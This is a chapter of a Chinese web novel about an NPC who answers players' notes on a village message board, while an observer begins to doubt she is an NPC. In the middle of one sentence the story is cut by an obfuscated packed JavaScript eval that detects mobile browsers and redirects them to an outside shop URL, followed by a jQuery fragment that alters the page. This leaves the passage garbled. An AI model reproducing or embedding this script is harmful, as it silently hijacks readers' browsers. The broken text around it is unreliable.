12. 姜月的留言板

作品:《全服唯一NPC[治愈]

    院子里,后援会姐妹们蹲成一排,但这次没有人盯着灶房等汤。


    她们在干活。


    小甜豆蹲在院子角落,手里拿着一把野菜,正在学择菜——姜月示范了一遍,她跟着做,择坏了好几根,被旁边的小D用眼神嫌弃了至少四次。(小D那个眼神,翻译成人话就是:“你长手干什么用的?”)


    “桃花村第一狗仔”没在录屏。她在劈柴。斧头比她胳膊还粗,抡起来摇摇晃晃的,旁边的“我真的不想起名”看得心惊胆战,随时准备接住她。后来他自己承认:“我当时在想,如果她把自己劈了,我是先截图还是先叫救护车。”(论坛投票结果:先截图。因为截图可以发论坛,救护车来了也没用。)


    “理性分析姬”蹲在花丛旁边,手里拿着一个小本本(游戏内道具,自己手绘的,封面写着“桃花村花卉观察日志”),在记录花的数量。


    “今天开了八十五朵,比昨天多了三朵。”她推了推并不存在的眼镜,“按照这个速度,再过一周就能破百。”


    “你记这个干什么?”小甜豆问。


    “老大说的。等开满一百朵,他要给姜月姐姐编个大花环。”理性分析姬面不改色,“我在帮他统计进度。”


    小甜豆沉默了一下:“……你之前不是搞数据分析的吗?”


    “现在改行搞园艺了。”理性分析姬翻了一页笔记本,“顺便说一句,按照目前的开花速度,预计六天后破百。建议老大提前准备藤条,需要大约三十根,粗细均匀,最好提前三天浸泡,这样编的时候不容易断。另外,花环的直径建议控制在45-50厘米,太大戴不住,太小不好看。我查过资料,古代女子发髻尺寸平均在20厘米左右,但姜月姐姐扎麻花辫,所以——”


    “停。”小甜豆伸手按住她的笔记本,“你是来喝汤的还是来写论文的?”


    “都是。”


    灶房里,姜月在切菜,沈星洲蹲在灶台前生火。两个人都没说话,但配合默契。


    姜月伸手,沈星洲就把盐罐递过去;姜月看了一眼锅,沈星洲就把火调小;姜月皱了皱眉,沈星洲就往后挪了挪——别挡光。


    小甜豆偷偷看了一眼,嘴角咧到耳根,然后低头继续择菜。择着择着,她忽然想起一件事。


    “对了,你们有没有去村口看过那个留言板?”


    “什么留言板?”桃花村第一狗仔放下斧头,气喘吁吁,“我来了这么久,从来没注意过。”她来了十天,每天蹲在院门口拍姜月,连村口有几棵树都不知道。


    “村口老槐树底下,有一块旧木板。上面可以写字。”


    “写了会怎么样?”


    小甜豆想了想:“不知道。但姜月姐姐每天都会去看。而且——”她压低声音,“她会回复。”


    ---


    村口,老槐树下。


    一块旧木板钉在树干上,钉子已经生锈了,但木板很稳。上面钉着几页泛黄的宣纸,边角有些卷起来了,像是被风吹过很多次。旁边挂着一支秃了头的毛笔,笔尖分叉了,但还有人用。


    墨汁还是湿的。(小甜豆后来鉴定:墨汁是姜月自己磨的,不是系统商店买的。因为系统商店的墨汁是速干型的,这个墨会洇。)


    小甜豆蹲在木板前,眯着眼看最近的一条:


    “汤很好喝。谢谢。——匿名”


    下面画着一个歪歪扭扭的红色圆圈。圈画得不太圆,但能看出来画的人很认真,起笔和落笔的地方重叠了一小截。


    旁边还有一条,字迹歪得像小学生,像是第一次用毛笔的人写的:


    “姜月姐姐,今天心情不好,但喝了你的汤,好多了。谢谢你。”


    下面也有一个红色圆圈。这个画得圆一些,像是练过了。


    再下面一条,字迹工整,像刻出来的:


    “希望姜月姐姐永远快乐。——小D”


    下面的红色圆圈比其他都大了一圈,像是画的时候特别用力,墨都洇开了一点。


    小甜豆盯着那个大了一圈的圆圈,忽然觉得鼻子有点酸。


    “你们看,”她指着那条留言,“小D写的。姜月姐姐给她画了一个大圈。”


    桃花村第一狗仔凑过来看了一眼,沉默了一下:“小D那个闷葫芦,居然会写这个?”


    “她每次写完了都不说。但姜月姐姐每次都回。”小甜豆顿了顿,“她全都记得。”


    “你怎么知道她记得?”


    “因为上次我写了一句‘今天有点累’,第二天姜月姐姐多给了我一个馒头。她没说为什么,但我知道。”小甜豆的声音有点闷,“她在意我。”


    院子里,姜月从灶房探出头来。


    “小甜豆。”


    “在!”


    “去村口看看留言板。昨天有人写了新的,帮我看看写的什么。”


    小甜豆愣了一下:“姜月姐姐自己不去看吗?”


    “忙着呢。”姜月缩回灶房,但小甜豆看见她嘴角有一个很小的弧度。


    她不是忙,她是不好意思自己去。就像你发了一条朋友圈,等别人点赞,但又不想让别人知道你在等。


    小甜豆转身跑回村口,站在留言板前,一条一条往下看。


    最新的一条,字迹很陌生,不像之前那些常客写的:


    “我飞了两个小时来的。汤很好喝。谢谢。——主城来的”


    下面已经画了一个红色圆圈。圈画得有点急。


    再下面一条,字迹歪歪扭扭,但小甜豆认出来了。


    是老大写的。他写的字永远像小学生,横不平竖不直,但每个字都写得很用力,像是在跟毛笔打架:


    “今天的汤咸了一点点。但还是很好喝。”


    下面的红色圆圈画得有点歪,圈外面还有一个小点。


    小甜豆盯着那个歪歪扭扭的圆圈和那个神秘的小点,嘴角慢慢弯起来。(她在论坛上写道:“那个小点,我研究了十分钟。结论:姜月姐姐想画两个圈,但不好意思。所以点了个点。”)她掏出那支秃头的毛笔,在木板上找了一块空位,认认真真地写:


    “姜月姐姐,今天我又来了。今天的汤还没喝,但我知道一定很好喝。——林甜甜”


    写完,她看了很久。然后她退后两步,歪着头看整体效果。旁边桃花村第一狗仔拍了张照,说:“你这字也不怎么样。”


    “你行你上。”


    桃花村第一狗仔拿起笔,写了一句:“姜月姐姐,我今天劈柴差点劈到自己。但我没事。”然后她退后一步看了看,加了一句:“不用回。”又看了看,又加了一句:“……但还是想收到回。”


    小甜豆看了,沉默了一下:“你是来留言的还是来写小作文的?”


    “你管我。”


    两个人蹲在留言板前,等着墨迹干。


    小甜豆忽然说:“你说姜月姐姐看到这些,会怎么想?”


    桃花村第一狗仔想了想:“她可能什么都不想。她就是看了,然后画个圈。”


    “那为什么还要画?”


    “因为有人想看,她就画。”


    小甜豆没说话。风把留言板上的纸条吹得轻轻晃,发出细微的沙沙声。


    她跑回院子,探进灶房:“姜月姐姐,留言板上有老大写的!”


    姜月正在炒菜,头也没抬:“写了什么?”


    “他说今天的汤咸了一点点。”


    姜月的手顿了顿。


    然后她拿起勺子,舀了一点汤,尝了一口。


    “……哪里咸了。”


    她嘴角弯了一下,把火调小。


    小甜豆蹲在灶房门口,看着她那个笑,心想:明天一定要去留言板上看看,姜月姐姐会不会回老大那条。如果回了,她就截图。如果不回,她就假装没问过。(结果第二天她去看的时候,那条留言下面多了一个小点。就是昨天那个点。没有第二个。但那个点比之前大了一点点。她把这称为“姜月姐姐的加密通话”。)


    ---


    下午,桃花村来了一个不速之客。


    不是来找茬的。是一个穿着新手装的女玩家,站在院门口,手里攥着一张纸条,紧张得手指发白。纸条被攥得皱巴巴的,边缘都起毛了。


    小甜豆第一个注意到她:“你是新来的?”


    女玩家点点头,声音很小:“我……我想找姜月姐姐。”


    “蹲着等吧。汤一会儿好。”


    “不是……”女玩家摇头,“我不是来喝汤的。我是来还东西的。”


    她把那张纸条递过来。


    小甜豆接过去一看,上面写着一行字,字迹已经模糊了,墨迹洇开,有些字要仔细辨认才能看清:


    “今天很难过。但汤很好喝。谢谢。——小七”


    日期是一周前。


    “这是我之前写的,”女玩家说,“我失恋了,朋友说这个游戏里有个村子,汤很好喝。我就来了。喝了姜月的汤,写了这张纸条。后来


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470907|201473||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我就没再来了。”


    她顿了顿。


    “今天我登录游戏,系统提示我‘您在桃花村留言板的留言有了新回复’。我以为是bug……”


    小甜豆翻过纸条。


    背面,不知道什么时候多了一行字,字迹清秀,和红色圆圈出自同一只手:


    “希望你今天开心。”


    就六个字。没有画圈。


    小甜豆愣住了。


    女玩家的眼眶红了:“我一周前写的。她竟然还记得。”


    院子里,姜月从灶房走出来,手里端着一碗汤。她走到院门口,看了女玩家一眼,把汤递过去。


    “喝吧。还热着。”


    女玩家捧着碗,低头喝了一口。眼泪掉进碗里。


    “好喝。”


    姜月看着她,没说话。过了一会儿,她说:


    “下次难过的时候。写张纸条就行。我会看的。”


    女玩家哭得更厉害了。小甜豆在旁边也红了眼眶,但她忍住了——不是因为坚强,是因为她今天没带纸巾。(事后她在论坛上写:“我恨我自己。我带了三块充电宝,唯独忘了纸巾。可恶。”)


    小甜豆蹲在旁边,手里的手机屏幕亮着。


    论坛上,她刚发了一个帖子,标题是:


    《【哭】姜月姐姐会给每一个留言回复。她会记得每一个人。》


    当晚,论坛炸了。


    帖子被顶到热搜第一,评论区清一色的“我哭了”“她到底是什么神仙”“明天就去桃花村”。有人在评论区贴了自己以前写的留言截图,说“我写的她也会回吗”,下面有人回复“你写了她就会看”。


    但有一条评论不太一样。


    理性分析姬:从游戏机制角度分析,NPC的留言板系统通常只有“写入”功能,没有“读取后回复”的功能。更不可能在两个月后主动回复一条留言。这个功能不在任何已知的NPC系统架构中。


    要么是这个游戏偷偷上线了新功能没公告,要么……


    她没有说完。但所有人都知道她没说完的是什么。


    下面有人接了一句:“要么她不是NPC。”


    那个人被骂了。说“你才是NPC”“你全家都是NPC”。但骂完之后,大家都沉默了。


    ---


    夜里,姜月一个人坐在石凳上,看着那排花丛。


    月光下,花又开了几朵。她已经数不清了。沈星洲说等开满一百朵要给她编个大的,她嘴上说“花还没开够”,但其实已经开始期待了。她今天偷偷数了一下,八十九朵。


    她想起今天那个女玩家。那条留言她当时看了好几遍——“今天很难过”。


    她不知道怎么安慰一个不认识的人。所以她画了一个圈。


    画圈是最安全的——不会说错话,不会显得太热情,也不会显得太冷漠。就是一个圈,“我看到了”的意思。


    但过了一阵子,她又想起来那个人。不知道为什么,可能是今天天气好,可能是今天汤煮得淡了一点,可能是沈星洲今天看起来很开心。她走到留言板前,翻到那张旧纸条,在背面补了一行字。


    她也不知道为什么要补。就是觉得……那个人可能还会来看。


    她站起来,走到灶房门口,灭了灯。


    月光下,留言板上的纸条被风吹得轻轻晃,像一面面小小的旗。


    ---


    监控画面里,张远坐在工位上,看着屏幕。


    他今天没有看院子里的日常。他在看留言板。


    他一条一条地翻,从最新的翻到两个月前的。每一张纸条上都画着红色圆圈,有的圆,有的歪,有的大,有的小。他翻到一张纸条,上面写着:


    “数据组的人能不能也喝汤?——张远”


    他愣住了。


    他不记得什么时候写过这张纸条。但他认出自己的字迹。


    那种程序员特有的、数字写得很工整但汉字写得很丑的字迹。他写“张远”的时候,“远”字的走之底永远多一个折,小时候没改过来,长大了也改不掉。


    他盯着那个红色圆圈看了很久。圈画得不大不小,不歪不斜,很认真。而且他注意到这个圈和其他的不太一样。其他的圈都是连续一笔画完的,这个圈起笔的地方有一个小小的顿点,像是在犹豫要不要画。


    他打开自己的私人文档,在“桃花村观察记录”里加了一行:


    Day14:她给所有人画圈。